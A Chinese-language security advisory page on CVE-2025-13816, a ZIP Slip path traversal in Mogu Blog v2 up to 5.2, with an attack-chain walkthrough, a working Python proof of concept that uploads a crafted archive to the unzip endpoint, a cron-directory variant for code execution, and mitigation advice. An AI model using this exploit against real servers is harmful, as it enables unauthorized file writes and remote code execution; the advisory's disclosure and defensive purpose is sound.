IPBUF安全漏洞报告
English
CVE-2025-13816 CVSS 6.3 中危

CVE-2025-13816 Mogu Blog v2 ZIP路径遍历漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-13816
漏洞类型
路径遍历
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
moxi159753 Mogu Blog v2

相关标签

路径遍历ZIP SlipMogu Blog文件解压CVE-2025-13816中等严重性网络攻击低权限利用

漏洞概述

CVE-2025-13816是存在于Mogu Blog v2(版本5.2及之前)中的一个中等严重性安全漏洞。该漏洞位于网络磁盘功能模块的ZIP文件处理功能中,具体涉及FileOperation.unzip函数处理/networkDisk/unzipFile接口时的路径验证缺陷。攻击者可以通过构造包含相对路径(如../)或符号链接的恶意ZIP压缩文件,利用zip slip技术将文件解压到服务器任意目录,从而实现目录遍历攻击。此漏洞无需高权限即可利用,攻击复杂度低,且已被公开披露并可能遭到实际利用。由于厂商在收到安全通知后未做出任何回应,该漏洞目前仍存在于未修复的系统中。攻击成功后,攻击者可能读取敏感配置文件、写入会话令牌或实现远程代码执行,具体取决于目标系统的目录结构和权限配置。

技术细节

该漏洞属于典型的ZIP Slip(压缩包滑动)路径遍历漏洞。在ZIP文件格式中,压缩包内的文件名可以包含相对路径遍历序列(如../)。当FileOperation.unzip函数解压文件时,如果未对压缩包内的文件路径进行安全校验和路径规范化处理,攻击者可以通过构造恶意的ZIP文件,将文件解压到目标目录之外的位置。具体来说,攻击者可以在ZIP文件中嵌入类似../../etc/cron.d/malicious的文件路径,当文件被解压时,恶意文件将被写入系统的计划任务目录,从而实现远程代码执行。漏洞存在于/networkDisk/unzipFile接口,攻击者只需具备低权限账户即可发起攻击。该漏洞的CVSS评分为6.3(中等),攻击向量为网络,认证要求低权限,无需用户交互,对机密性、完整性和可用性均有低至中等程度的影响。

攻击链分析

STEP 1
步骤1
攻击者收集目标Mogu Blog v2系统的信息,确认版本小于等于5.2
STEP 2
步骤2
攻击者构造包含路径遍历序列的恶意ZIP文件(如../../tmp/malicious)
STEP 3
步骤3
攻击者通过/networkDisk/unzipFile接口上传恶意ZIP文件
STEP 4
步骤4
服务器FileOperation.unzip函数未校验ZIP内文件名,直接解压到目标目录
STEP 5
步骤5
恶意文件被写入服务器任意目录,可能覆盖系统文件或写入计划任务目录
STEP 6
步骤6
攻击者实现远程代码执行、敏感信息读取或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13816 PoC - Mogu Blog v2 ZIP Path Traversal This PoC demonstrates the zip slip vulnerability in Mogu Blog v2 """ import zipfile import os import requests from io import BytesIO def create_malicious_zip(): """Create a ZIP file with path traversal payload""" # Payload to write to /tmp directory malicious_filename = "../../tmp/pwned_by_cve_2025_13816.txt" content = b"CVE-2025-13816 - Path Traversal via ZIP Slip" zip_buffer = BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Add file with path traversal sequence info = zipfile.ZipInfo(malicious_filename) zf.writestr(info, content) return zip_buffer.getvalue() def exploit(target_url): """Send malicious ZIP file to vulnerable endpoint""" zip_data = create_malicious_zip() # Target endpoint endpoint = f"{target_url}/networkDisk/unzipFile" files = { 'file': ('exploit.zip', zip_data, 'application/zip') } # Additional parameter (fileUrl) that might be exploited data = { 'fileUrl': '/uploads/malicious.zip' } try: response = requests.post(endpoint, files=files, data=data, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code == 200: print("[+] Payload sent successfully") print("[+] Check /tmp/pwned_by_cve_2025_13816.txt") else: print("[-] Exploit failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: exploit(sys.argv[1]) else: print("Usage: python3 cve_2025_13816_poc.py <target_url>")

影响范围

Mogu Blog v2 <= 5.2

防御指南

临时缓解措施
在服务器端对ZIP文件解压前进行严格的安全校验,确保解压路径在预期目录内;使用jakarta.commons.io.FilenameUtils.getName()或类似方法提取纯文件名后再拼接路径;对解压目录设置ACL权限,限制Web服务账户的写入范围;临时禁用/networkDisk/unzipFile功能直至官方发布安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表